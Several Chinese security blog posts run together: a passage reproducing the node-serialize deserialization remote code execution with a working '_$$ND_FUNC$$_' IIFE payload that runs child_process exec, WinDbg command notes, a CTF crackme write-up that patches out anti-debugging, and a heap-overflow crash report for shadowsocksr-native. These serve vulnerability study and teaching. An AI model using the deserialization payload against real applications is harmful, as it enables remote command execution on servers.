    originObj = originObj || obj;

    var circularTasks = [];
    var key;
    for(key in obj) {
      if(obj.hasOwnProperty(key)) {
        if(typeof obj[key] === 'object') {
          obj[key] = unserialize(obj[key], originObj);
        } else if(typeof obj[key] === 'string') {
          if(obj[key].indexOf(FUNCFLAG) === 0) {
            obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
          } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
            obj[key] = obj[key].substring(CIRCULARFLAG.length);
            circularTasks.push({obj: obj, key: key});
          }
        }
      }
    }

    if (isIndex) {
      circularTasks.forEach(function(task) {
        task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
      });
    }
    return obj;
  };

其中var FUNCFLAG = '_$$ND_FUNC$$_';
可以看出代码中使用了eval执行代码,再深入看一下能够执行形成的条件。

  1. obj[key] 类型为string
  2. obj[key] 以_$$ND_FUNC$$_开头,即FUNCFLAG

首先测试函数序列化后,其类型是否为string,根据上面给出的源码,序列化后的数据需要JSON.parse之后再判断类型,再其给出的测试代码文件中,写入如下代码

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);

if (typeof json_data['func'] === 'string') {
  console.log("string type!");
} else {
  console.log("other type!");
}

测试一下

所以我们提交的数据反序列化后成功的到达eval的括号中,再来测试eval是否能够真正的执行。测试代码如下

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);

console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + ')');

执行一下

可以发现eval中的函数并没有执行,根据javascript的立即执行函数表达式(IIFE),我们在最后eval加一对括号试试

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
var serialize_data = serialize.serialize(req_data);
var json_data = JSON.parse(serialize_data);

console.log(json_data);
var FUNCFLAG = '_$$ND_FUNC$$_';
var func_exec = json_data['func'];
console.log(func_exec.substring(FUNCFLAG.length));
eval('(' + func_exec.substring(FUNCFLAG.length) + '())');

测试一下

发现代码已经成功执行,在这个测试过程中,没有直接使用unserialize,而是根据其代码直接构造出了POC,现在先用serialize得到数据,再用unserialize执行代码试试。这里有一点需要注意,我们在序列化前不能直接将func利用IIFE的形式写,因为这样的话,在序列化前函数已经执行,导致序列化失败,也就无法得到序列化数据了

测试代码

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}()};  //注意看这里末尾有一对括号!造成IIFE!
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);

先直接测试序列化IIFE的函数

可以看到序列化直接失败,输出数据为空。

再来序列化非IIFE数据

require('should');
var serialize = require('..');

var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};  //这里没有括号
var serialize_data = serialize.serialize(req_data);
console.log(serialize_data);

序列化成功

利用序列化的字符串末尾加上一对括号,造成在反序列化时的IIFE,并且需要注意转义反斜杠,具体看代码

require('should');
var serialize = require('..');

//var req_data = {func:function(){require("child_process").exec("ls /", function(error, stdout, stderr){console.log(stdout);});}};
//var serialize_data = serialize.serialize(req_data);
//console.log(serialize_data);

var data = '{"func":"_$$ND_FUNC$$_function (){require(\\"child_process\\").exec(\\"ls /\\", function(error, stdout, stderr){console.log(stdout);});}()"}'; // 末尾有括号,而且转义了斜杠
console.log(data);
var unserialize_data = serialize.unserialize(data);
console.log(unserialize_data);

测试如下

漏洞远程复现

漏洞远程getshell

参考

  1. http://www.4hou.com/technology/3457.html
  2. https://segmentfault.com/a/1190000003985390

windbg 使用

windbg 使用

##k

**k***命令显示给定线程的调用堆栈,以及其他相关信息

~0 k表示打印0号线程的调用堆栈,直接用k表示打印当前线程的调用堆栈

r register 查看寄存器值
kb 显示传递给堆栈回溯中的每个函数的前三个参数
kp 显示传递给堆栈回溯中的每个函数的所有参数
0:000:x86> kb  
ChildEBP RetAddr  Args to Child                
0015fce4 010e1415 00000012 00000034 00000056 test1!Add+0x1e [f:\test1\test1\test1.cpp @ 7]  
  
0:000:x86> kp  
ChildEBP RetAddr    
0015fce4 010e1415 test1!Add(int a = 0n18, int b = 0n52, int c = 0n86, int d = 0n120, int e = 0n154, int f = 0n188)+0x1e [f:\test1\test1\test1.cpp @ 7]  
  
0:000:x86> kP  
ChildEBP RetAddr    
0015fce4 010e1415 test1!Add(  
            int a = 0n18,   
            int b = 0n52,   
            int c = 0n86,   
            int d = 0n120,   
            int e = 0n154,   
            int f = 0n188)+0x1e [f:\test1\test1\test1.cpp @ 7]  
  
0:000:x86> kv  
ChildEBP RetAddr  Args to Child                
0015fce4 010e1415 00000012 00000034 00000056 test1!Add+0x1e (FPO: [Non-Fpo]) (CONV: cdecl) [f:\test1\test1\test1.cpp @ 7]  

u

**u **命令显示指定的内存中的程序代码的反汇编。 如果要反汇编某一个地址,直接用u 命令加地址

0:002> u 77d2929a   
USER32!SendMessageW:  
77d2929a 8bff            mov     edi,edi  
77d2929c 55              push    ebp  
77d2929d 8bec            mov     ebp,esp  
77d2929f 56              push    esi  
77d292a0 8b750c          mov     esi,dword ptr [ebp+0Ch]  
77d292a3 f7c60000feff    test    esi,0FFFE0000h  
77d292a9 0f85be800100    jne     USER32!SendMessageW+0x11 (77d4136d)  
77d292af 8b4d08          mov     ecx,dword ptr [ebp+8]  

如果存在符号文件,也可以这样直接加函数名:

0:002> u user32!SendMessagew  
USER32!SendMessageW:  
77d2929a 8bff            mov     edi,edi  
77d2929c 55              push    ebp  
77d2929d 8bec            mov     ebp,esp  
77d2929f 56              push    esi  
77d292a0 8b750c          mov     esi,dword ptr [ebp+0Ch]  
77d292a3 f7c60000feff    test    esi,0FFFE0000h  
77d292a9 0f85be800100    jne     USER32!SendMessageW+0x11 (77d4136d)  
77d292af 8b4d08          mov     ecx,dword ptr [ebp+8]  

**uf **命令显示内存中指定函数的反汇编代码,前提是需要符号文件

x

x命令显示所有上下文中匹配指定模板的符号。可用字符通配符

 > x user32!send*  
77d53948 USER32!SendNotifyMessageA = <no type information>  
77d2fb6b USER32!SendMessageTimeoutA = <no type information>  
77d6b88f USER32!SendOpenStatusNotify = <no type information>  
77d6b49e USER32!SendIMEMessageExA = <no type information>  
77d2d64f USER32!SendNotifyMessageW = <no type information>  
77d2cdaa USER32!SendMessageTimeoutW = <no type information>  
77d65b26 USER32!SendHelpMessage = <no type information>  
77d6b823 USER32!SendMessageToUI = <no type information>  
77d6b48d USER32!SendIMEMessageExW = <no type information>  
77d2cd08 USER32!SendMessageTimeoutWorker = <no type information>  
77d203fc USER32!SendRegisterMessageToClass = <no type information>  
77d3c2e7 USER32!SendDlgItemMessageA = <no type information>  
77d2d6db USER32!SendMessageCallbackW = <no type information>  
77d6b129 USER32!SendMessageCallbackA = <no type information>  
77d273cc USER32!SendDlgItemMessageW = <no type information>  
77d61930 USER32!SendWinHelpMessage = <no type information>  
77d291b3 USER32!SendMessageWorker = <no type information>  
77d2929a USER32!SendMessageW = <no type information>  
77d2f3c2 USER32!SendMessageA = <no type information>

x还有个作用,在函数断下来后输入x,会自动打印出当前的局部变量,可以配合.frame使用

0:000:x86> kn  
 # ChildEBP RetAddr    
00 0039fd18 010e19a8 test1!wmain+0x1e [f:\test1\test1\test1.cpp @ 12]  
01 0039fd68 010e17ef test1!__tmainCRTStartup+0x1a8 [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 583]  
  
0:000:x86> x  
0039fd20 argc = 0n1  
0039fd24 argv = 0x00033438  
0039fd10 c = 0n-858993460  

ChildEBP指的是当前堆栈运行时的ebp值

RetAddr指当前堆栈中函数退出时的下个EIP的值

d

dt 命令显示局部变量、全局变量或数据类型的信息
测试显示一下数据类型:

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION
   +0x020 AtlThunkSListPtr : Ptr32 _SLIST_HEADER
   +0x024 IFEOKey          : Ptr32 Void
   +0x028 CrossProcessFlags : Uint4B

通配出所有的结构名称:

0:000>  dt ntdll!_peb*
          ntdll!_PEB
          ntdll!_PEB_LDR_DATA
          ntdll!_PEBS_DS_SAVE_AREA
          ntdll!_PEB32

d*命令显示给定范围内存的内容

d, da, db, dc, dd, dD, df, dp, dq, du, dw, dW, dyb, dyd (Display Memory)

如果省略掉Range ,命令将会从上一条内存查看命令结束的位置开始。这使得可以连续的进行内存查看。
d这种显示的格式和最近一次d命令的格式相同。如果之前没有使用过d命令,d 和db 的效果相同。

da:ASCII 字符每行最多48个字符。显示一直继续直到遇到第一个null字节或者到达range 值指定的所有字符都已经显示。所有不可打印字符,如回车和换行都被显示为点号(.)。

dd和dc的区别

0:000> dd
0019fc3c  00000000 00000000 00000000 00000000
0019fc4c  00000200 00000000 00000000 00000000
0019fc5c  00000200 00000000 00000000 00000000
0019fc6c  00000200 00000000 00000000 00000000
0019fc7c  00000200 00000000 00000000 00000000
0019fc8c  301d5dce 0019fa70 00010000 0019fcf0
0019fc9c  77109fd0 471c5f2e fffffffe 0019fd00
0019fcac  770e8a42 301d5c66 00000000 00000000
0:000> dc
0019fcbc  003dc000 00000000 771ad000 00030000  ..=........w....
0019fccc  00000004 77090000 00000000 0019fd24  .......w....$...
0019fcdc  003df000 003dc000 00000000 0019fcb0  ..=...=.........
0019fcec  00000000 ffffffff 77109fd0 471c5f4e  ...........wN_.G
0019fcfc  00000000 0019fd10 770e886c 00000000  ........l..w....
0019fd0c  bb591b5e 00000000 00000000 0019fd24  ^.Y.........$...
0019fd1c  77090000 00000000 0001003f 00000000  ...w....?.......
0019fd2c  00000000 00000000 00000000 00000000  ................

dh(display header)显示文件头信息

> !dh -f ntdll

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       7 number of sections
802F667E time date stamp
       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL
.....

看雪腾讯ctf第三题

看雪腾讯ctf第三题

本题主要知识:

  1. 各种反调试 => 因为在反调试函数中,并没有涉及到核心的功能代码,所以可以利用ida pro的keypatch插件patch所有反调试
  2. base64解密的反汇编代码
  3. morse解密
  4. 国密3和hash的反汇编代码
  5. 走迷宫

查找到过程函数之后,程序的整体功能

解密过程可以使用如下python伪码表示

key1 = base54_decode(base64_decode(input_string))
key2 = morse_decode(key1)
key3 = sm3_hash(key1)

key3_len = len(key3)
if key3[key3_len-64:key3_len] == input_string[0:64]:
    if key2_throght_maze:
        print 'success...'

一步一步分析每个功能函数:

base64_decode

ida pro 伪代码

signed int __cdecl sub_434990(int a1, unsigned int a2, int a3)// base64_decode
{
  signed int result; // eax
  unsigned int v4; // [esp+E0h] [ebp-2Ch]
  int v5; // [esp+F8h] [ebp-14h]
  unsigned int i; // [esp+104h] [ebp-8h]

  v5 = 0;
  for ( i = 0; i < a2; ++i )
  {
    if ( *(_BYTE *)(i + a1) == 61 )
      return 0;
    if ( *(char *)(i + a1) < 43 )
      return 1;
    if ( *(char *)(i + a1) > 122 )
      return 1;
    v4 = byte_48B0FD[*(char *)(i + a1)]; //整形数据表,将字符串转化为整形数据
    if ( v4 == -1 )
      return 1;
    switch ( i % 4 )
    {
      case 0u:
        *(_BYTE *)(v5 + a3) = 4 * v4;
        if ( (unsigned __int8)sub_42D681() == 5 )
          sub_42E086(0);
        if ( (unsigned __int8)sub_42E26B() == 5 )
          sub_42E086(0);
        if ( (unsigned __int8)sub_42D7F8() == 5 )
          sub_42E086(0);
        return result;
      case 1u:
        *(_BYTE *)(v5++ + a3) += (v4 >> 4) & 3;
        if ( i < a2 - 3 || *(_BYTE *)(a2 + a1 - 2) != 61 )
          *(_BYTE *)(v5 + a3) = 16 * (v4 & 0xF);
        break;
      case 2u:
        *(_BYTE *)(v5++ + a3) += (v4 >> 2) & 0xF;
        if ( (unsigned __int8)sub_42E26B() == 5 )
          sub_42E086(0);
        if ( (unsigned __int8)sub_42D7F8() == 5 )
          sub_42E086(0);
        if ( i < a2 - 2 || *(_BYTE *)(a2 + a1 - 1) != 61 )
          *(_BYTE *)(v5 + a3) = (v4 & 3) << 6;
        break;
      case 3u:
        *(_BYTE *)(v5++ + a3) += v4;
        break;
      default:
        continue;
    }
  }
  return 0;
}

这里ida在解析过程中,出现了明显的错误,只是出现一次就直接break,出现这种情况主要是在汇编代码中出现了两次跳转,第二次跳转继续循环,但ida不再跟随第二次跳转,也就当作是该循环结束了,ida经常会出现这样的问题,应当留意!

为了方便加解密,base64加密会出现一个字符串的表,base64解密会出现一个整形数组的表,具体可以看其c代码

unsigned char b64_chr[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

unsigned int b64_int(unsigned int ch) {

	// ASCII to base64_int
	// 65-90  Upper Case  >>  0-25
	// 97-122 Lower Case  >>  26-51
	// 48-57  Numbers     >>  52-61
	// 43     Plus (+)    >>  62
	// 47     Slash (/)   >>  63
	// 61     Equal (=)   >>  64~
	if (ch==43)
		return 62;
	if (ch==47)
		return 63;
	if (ch==61)
		return 64;
	if ((ch>47) && (ch<58))
		return ch + 4;
	if ((ch>64) && (ch<91))
		return ch - 'A';
	if ((ch>96) && (ch<123))
		return (ch - 'a') + 26;
	return 0;
}

unsigned int b64e_size(unsigned int in_size) {
	// size equals 4*floor((1/3)*(in_size+2));
	int i, j = 0;
	for (i=0;i<in_size;i++) {
		if (i % 3 == 0)
			j += 1;
	}
	return (4*j);
}

unsigned int b64d_size(unsigned int in_size) {
	return ((3*in_size)/4);
}

unsigned int b64_encode(const unsigned int* in, unsigned int in_len, unsigned char* out) {

	unsigned int i=0, j=0, k=0, s[3];

	for (i=0;i<in_len;i++) {
		s[j++]=*(in+i);
		if (j==3) {
			out[k+0] = b64_chr[ s[0]>>2 ];
			out[k+1] = b64_chr[ ((s[0]&0x03)<<4)+((s[1]&0xF0)>>4) ];
			out[k+2] = b64_chr[ ((s[1]&0x0F)<<2)+((s[2]&0xC0)>>6) ];
			out[k+3] = b64_chr[ s[2]&0x3F ];
			j=0; k+=4;
		}
	}

	if (j) {
		if (j==1)
			s[1] = 0;
		out[k+0] = b64_chr[ s[0]>>2 ];
		out[k+1] = b64_chr[ ((s[0]&0x03)<<4)+((s[1]&0xF0)>>4) ];
		if (j==2)
			out[k+2] = b64_chr[ ((s[1]&0x0F)<<2) ];
		else
			out[k+2] = '=';
		out[k+3] = '=';
		k+=4;
	}
	out[k] = '\0';
	return k;
}

unsigned int b64_decode(const unsigned char* in, unsigned int in_len, unsigned int* out) {
	unsigned int i=0, j=0, k=0, s[4];
	for (i=0;i<in_len;i++) {
		s[j++]=b64_int(*(in+i));
		if (j==4) {
			out[k+0] = (s[0]<<2)+((s[1]&0x30)>>4);
			if (s[2]!=64) {
				out[k+1] = ((s[1]&0x0F)<<4)+((s[2]&0x3C)>>2);
				if ((s[3]!=64)) {
					out[k+2] = ((s[2]&0x03)<<6)+(s[3]); k+=3;
				} else {
					k+=2;
				}
			} else {
				k+=1;
			}
			j=0;
		}
	}
	return k;
}

morse解密

由ida可以得到morse的解码表,分别分为4字节,5字节和8字节

4字节

5字节

8字节

根据伪代码,利用idapython将morse表打出来

def get_table_4bytes():
    start_addr = 0x49B2A0
    table = {}
    for i in xrange(26):
        table[chr(i+97)] = ''
        
        for j in xrange(4):
            addr = start_addr + j + 4 * i
            table[chr(i+97)] += chr(Byte(addr))
    print table 
            

def get_table_5bytes():
    start_addr = 0x49B1E0
    table = {}
    for i in xrange(10):
        table[chr(i+48)] = ''
        
        for j in xrange(5):
            addr = start_addr + j + i * 5
            table[chr(i+48)] += chr(Byte(addr))
    print table 
 
 
def get_table_8bytes():
    
    other_table_start = 0x49B21F
    start_addr = 0x49B218
    table = {}
    for i in xrange(17):
        table_index = chr(Byte(other_table_start + 8 * i))
        table[table_index] = ''
        
        for j in xrange(8):
            addr = start_addr + j + i * 8
            table[table_index] += chr(Byte(addr))
    print table 
       
if __name__ == '__main__':
    get_table_4bytes()
    get_table_5bytes()
    get_table_8bytes()

morse解码表

{'a': '.-**', 'c': '-.-.', 'b': '-...', 'e': '.***', 'd': '-..*', 'g': '--.*', 'f': '..-.', 'i': '..**', 'h': '....', 'k': '-.-*', 'j': '.---', 'm': '--**', 'l': '.-..', 'o': '---*', 'n': '-.**', 'q': '--.-', 'p': '.--.', 's': '...*', 'r': '.-.*', 'u': '..-*', 't': '-***', 'w': '.--*', 'v': '...-', 'y': '-.--', 'x': '-..-', 'z': '--..'}
{'1': '.----', '0': '-----', '3': '...--', '2': '..---', '5': '.....', '4': '....-', '7': '--...', '6': '-....', '9': '----.', '8': '---..'}
{'!': '-.-.--*!', '@': '.--.-.*@', '"': '.-..-.*"', '$': '...-..-$', "'": ".----.*'", '&': '.-...**&', ')': '-.--.-*)', '(': '-.--.**(', '-': '-....-*-', ',': '--..--*,', '/': '-..-.**/', '.': '.-.-.-*.', '_': '..--.-*_', ';': '-.-.-.*;', ':': '---...*:', '=': '-...-**=', '?': '..--..*?'}

这里只能得到morse密码表用于后续的处理,要想正面直接过morse解密,还是很困难的,该函数里面一方面有过多的反调试,调试了几天就这一个函数都没有过去,只能放弃,另一方面,没有很好的事先编码的数据,直接调用该函数也会出现很多莫名其妙的错误,最后实在没办法就放弃了直接正面解决该函数,由后向前逆向解决这道题

SM3

反汇编代码过于复杂,只能根据SM3中固定有的一些变量找到属于该函数的常量,并做了测试,确定该函数就是SM3
由于morse解码太难绕过反调试,那只能绕过该函数,相关的odbgscript代码,其中字符串经过两次base64加密

bp 43507c
run 
mov tmp, ebp-828
mov [tmp], "YzJ4a1ptcHJiR3BzYW14S1RHcHNhMHBNUzBwRWJHdG1hbXhMU2t0TVNrWk1TMFJLYVhWcGIzVjNhVzlsWTNaNFMyOTNaWEoxYjJ4cWJHMXViWE5rWmpBNGVHTjJPREE0ZDNkdWVHOTJhVzVtYm5ONFpIQnZabWw0YTJ4amFuWnNhMnB6Y0dsbWNHOXpjMnhrWm1wc2QyVnpibVJoYVhSdllYZHVZV2Q0YVc1cGFYaHZZWE5wWm1wcmJtbHVhV1J2Ym1ka1pXSjFlbWhwWkdGdllRPT0="

bp 4350f9
run

bp 435133
mov eip, 435114
run

结果对比

利用该网站进行SM3加密

可以看到,这里使用的是SM3加密,并且出现的结果并不是以字符串的形式出现的,而是每个字节存储转换后的两位!这种思路以后应该会经常看到!

迷宫

直接用idapython解决迷宫问题

def get_maze():
    start = int('0x49b000', 16)
    i = 0
    cur = start
    maze = ''
    for i in xrange(10):
        for j in xrange(10):
            curr = start + i * 40 + j * 4
            s = Dword(curr)
            if s == 1:
                maze += '1'
            elif s == 0:
                maze += '0'
    return maze
    

path = [ '' for i in xrange(1000) ]
path_len = 0
def valid(maze, x, y):
    if x < 10 and y < 10 and maze[x][y] == '0':
        return True
    else:
        return False

def walk(maze, x, y, i, sign):
    global path_len

    if valid(maze,x,y):
        maze[x][y]='2'  
        path[i] = sign
        i += 1
        
        if x == 3 and y == 8:
            path_len = i
            return True
        if x-1>0 and not walk(maze,x-1,y,i,'q'):
            maze[x-1][y]='0'
            i -= 1
        elif y-1>0 and not walk(maze,x,y-1,i,'p'):
            maze[x][y-1]='0'
            i -= 1
        elif x+1<10 and not walk(maze,x+1,y,i,'z'):
            maze[x+1][y]='0'
            i -= 1
        elif y+1<10 and not walk(maze,x,y+1,i, 'l'):
            maze[x][y+1]='0'
            i -= 1
        else:
            return False      
    return True


def decode_maze():
    raw_maze = get_maze()
    global path_len
    maze = [ list(raw_maze[(i-1)*10:i*10]) for i in xrange(1, 11) ]
    walk(maze, 0, 0, path_len, '')

可以得到解zlzllllzzzppqppzzzlllzlllzllqqpqpqqql,这只是一种解法,根据迷宫图能看出来,是有多解的!

迷宫图:

0111111110
0011111000
1000001011
1111101001
1000101001
1010001011
1011111001
1000011100
1111000010
1111111000

反向推的解密思路

上面已经把最主要的几个函数都解析出来了,但是感觉从正面我目前还是解决不了这个问题,只能从后往前推,首先解决最简单的部分--迷宫,上面可以用idapython打出迷宫的解,之后利用morse加密,再利用base64加密两次,这样就可以得到答案了,这里直接给出得到答案的idapython代码

import base64

def get_maze():
    start = int('0x49b000', 16)
    i = 0
    cur = start
    maze = ''
    for i in xrange(10):
        for j in xrange(10):
            curr = start + i * 40 + j * 4
            s = Dword(curr)
            if s == 1:
                maze += '1'
            elif s == 0:
                maze += '0'
    return maze
    

path = [ '' for i in xrange(1000) ]
path_len = 0
def valid(maze, x, y):
    if x < 10 and y < 10 and maze[x][y] == '0':
        return True
    else:
        return False

def walk(maze, x, y, i, sign):
    global path_len

    if valid(maze,x,y):
        maze[x][y]='2'  
        path[i] = sign
        i += 1
        
        if x == 3 and y == 8:
            path_len = i
            return True
        if x-1>0 and not walk(maze,x-1,y,i,'q'):
            maze[x-1][y]='0'
            i -= 1
        elif y-1>0 and not walk(maze,x,y-1,i,'p'):
            maze[x][y-1]='0'
            i -= 1
        elif x+1<10 and not walk(maze,x+1,y,i,'z'):
            maze[x+1][y]='0'
            i -= 1
        elif y+1<10 and not walk(maze,x,y+1,i, 'l'):
            maze[x][y+1]='0'
            i -= 1
        else:
            return False      
    return True


def decode_maze():
    raw_maze = get_maze()
    global path_len
    maze = [ list(raw_maze[(i-1)*10:i*10]) for i in xrange(1, 11) ]
    walk(maze, 0, 0, path_len, '')
   

table = {}

def get_table_4bytes():
    start_addr = 0x49B2A0
    for i in xrange(26):
        table[chr(i+97)] = ''
        
        for j in xrange(4):
            addr = start_addr + j + 4 * i
            table[chr(i+97)] += chr(Byte(addr))

def get_table_5bytes():
    start_addr = 0x49B1E0
    for i in xrange(10):
        table[chr(i+48)] = ''
        
        for j in xrange(5):
            addr = start_addr + j + i * 5
            table[chr(i+48)] += chr(Byte(addr))
            
 
def get_table_8bytes():
    other_table_start = 0x49B21F
    start_addr = 0x49B218
    for i in xrange(17):
        table_index = chr(Byte(other_table_start + 8 * i))
        table[table_index] = ''
        
        for j in xrange(8):
            addr = start_addr + j + i * 8
            table[table_index] += chr(Byte(addr))


if __name__ == "__main__":
    
    get_table_4bytes()
    get_table_5bytes()
    get_table_8bytes()
    
    decode_maze()
    k = 1 
    path_final = ''
    for i in xrange(1000):
        if path[i] and k < path_len:
            path_final += path[i]
            k += 1
    
    base64_string = ''
    for i in path_final:
        base64_string += table[i]
    
    print base64_string
    tmp = base64.b64encode(base64_string)
    input_string = base64.b64encode(tmp)
    print input_string        

通过更改pe文件直接绕过反调试

在绕过反调试的过程中,很多情况下是可以直接更改反调试函数的,更改反调试函数有几种方法

  1. 直接nop掉反函数 => 最暴力直接,但是在很多情况下可能会导致程序无法使用!
  2. 利用二进制工具打开可执行文件,更改涉及到的反调试API名称,直接使调用API函数失败
  3. 通过pefile更改反调试函数,使其不运行到具体的检测代码就提前返回

上面这些方法能够使用的前提是,在反调试起作用的函数中,没有涉及到具体的程序加解密之类的功能实现

pefile更改文件

def change_pe(exefile, filename):
    pe = pefile.PE(exefile)
    rvas = ['430B10', '431190', '430E80', '430030', '430170',
            '4302A0', '4303D0', '4304F0', '430610', '431070',
            '4313C0', '431420', '4314F0', '4317C0', '431C40',
>             '431CE0', '431D80', '431F20', '431FD0', '4338D0',
            '42D0B4', '42FA20', '42FAF0', '42FC90', '4323B0',
            '4325D0', '4326C0', '432840', '4329C0', '432B30',
            '432D20']
    xor_eax_eax_ret = "\x33\xC0\xC3"

    for eastr in rvas:
        rva = int(eastr, 0x10)-0x400000
        pe.set_bytes_at_rva(rva, xor_eax_eax_ret)
        pe.write(r'{}'.format(save_file))


if __name__ == '__main__':

    exefile = 'crackMe.exe'
    save_file = 'crackMe3.exe'
    change_pe(exefile, save_file)

想要获取汇编代码的byte code,可以直接更改od里汇编代码或是调试vs,从汇编窗口中取得

shadowsocksr-native混淆验证auth.c存在基于堆的越界写漏洞

shadowsocksr-native混淆验证auth.c存在基于堆的越界写漏洞

作为该库的忠实用户,首先感谢作者无私的奉献,继续开发ssr给我们广大用户使用,因为偶然的原因, 我更新了一直使用的ssr,更新完之后发现, 突然不能使用了,为了找到其中的原因就调试了一下该库,现在把我的具体调试过程,以及如何发现漏洞的简单介绍一下。 希望大家能跟作者共同努力,把ssr做的更加安全,稳定。

基本环境

版本:使用master分支最新commit: 2bea1e1fadadd85497632d20e36e6d1bc55f121e

系统

服务器:ubuntu 16.04 x86_64
客户端:macos/windows ssr

服务器配置文件

{
    "password": "fuckshit",
    "method": "chacha20-ietf",
    "protocol": "auth_aes128_sha1",
    "protocol_param": "",
    "obfs": "tls1.2_ticket_auth",
    "obfs_param": "",

    "udp": false,
    "timeout": 300,

    "server_settings": {
        "listen_address": "0.0.0.0",
        "listen_port": 9090
    }
}

漏洞形成

通过cmake编译为debug版本,以方便调试,之后利用gdb服务器端启动ssr-server

启动完成,当客户端发送数据,漏洞形成

root@c664e51799f5:~/ssr-n/build# ./src/ssr-server -c vps/configfiles/ssr/config_tls.json
ssr-server 2020/04/28 15:05  info  ShadowsocksR native server

ssr-server 2020/04/28 15:05  info  listen port      9090
ssr-server 2020/04/28 15:05  info  method           chacha20-ietf
ssr-server 2020/04/28 15:05  info  password         fuckshit
ssr-server 2020/04/28 15:05  info  protocol         auth_aes128_sha1
ssr-server 2020/04/28 15:05  info  obfs             tls1.2_ticket_auth
ssr-server 2020/04/28 15:05  info  udp relay        no

ssr-server 2020/04/28 15:06  info  ==== tunnel created     count   1 ====
*** Error in `./src/ssr-server': free(): invalid next size (fast): 0x00000000024890f0 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f9221be97e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f9221bf237a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f9221bf653c]
./src/ssr-server(auth_aes128_sha1_server_post_decrypt+0x74a)[0x433793]
./src/ssr-server(tunnel_cipher_server_decrypt+0x283)[0x427ffa]
./src/ssr-server[0x42c446]
./src/ssr-server[0x42b84f]
./src/ssr-server[0x42ba3a]
./src/ssr-server[0x42a2f1]
./src/ssr-server[0x45ebb8]
./src/ssr-server[0x45ee79]
./src/ssr-server[0x46469a]
./src/ssr-server(uv_run+0xb1)[0x453cab]
./src/ssr-server[0x42b122]
./src/ssr-server(main+0x1da)[0x42ae2d]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f9221b92830]
./src/ssr-server(_start+0x29)[0x4139d9]
======= Memory map: ========
00400000-004d9000 r-xp 00000000 08:01 3413376                            /root/ssr-n/build/src/ssr-server
006d8000-006d9000 r--p 000d8000 08:01 3413376                            /root/ssr-n/build/src/ssr-server
006d9000-006db000 rw-p 000d9000 08:01 3413376                            /root/ssr-n/build/src/ssr-server
006db000-006de000 rw-p 00000000 00:00 0
0246e000-0248f000 rw-p 00000000 00:00 0                                  [heap]
7f921c000000-7f921c021000 rw-p 00000000 00:00 0
7f921c021000-7f9220000000 ---p 00000000 00:00 0
7f922195c000-7f9221972000 r-xp 00000000 08:01 2360260                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9221972000-7f9221b71000 ---p 00016000 08:01 2360260                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9221b71000-7f9221b72000 rw-p 00015000 08:01 2360260                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9221b72000-7f9221d32000 r-xp 00000000 08:01 2360239                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9221d32000-7f9221f32000 ---p 001c0000 08:01 2360239                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9221f32000-7f9221f36000 r--p 001c0000 08:01 2360239                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9221f36000-7f9221f38000 rw-p 001c4000 08:01 2360239                    /lib/x86_64-linux-gnu/libc-2.23.so
7f9221f38000-7f9221f3c000 rw-p 00000000 00:00 0
7f9221f3c000-7f9221f43000 r-xp 00000000 08:01 2360313                    /lib/x86_64-linux-gnu/librt-2.23.so
7f9221f43000-7f9222142000 ---p 00007000 08:01 2360313                    /lib/x86_64-linux-gnu/librt-2.23.so
7f9222142000-7f9222143000 r--p 00006000 08:01 2360313                    /lib/x86_64-linux-gnu/librt-2.23.so
7f9222143000-7f9222144000 rw-p 00007000 08:01 2360313                    /lib/x86_64-linux-gnu/librt-2.23.so
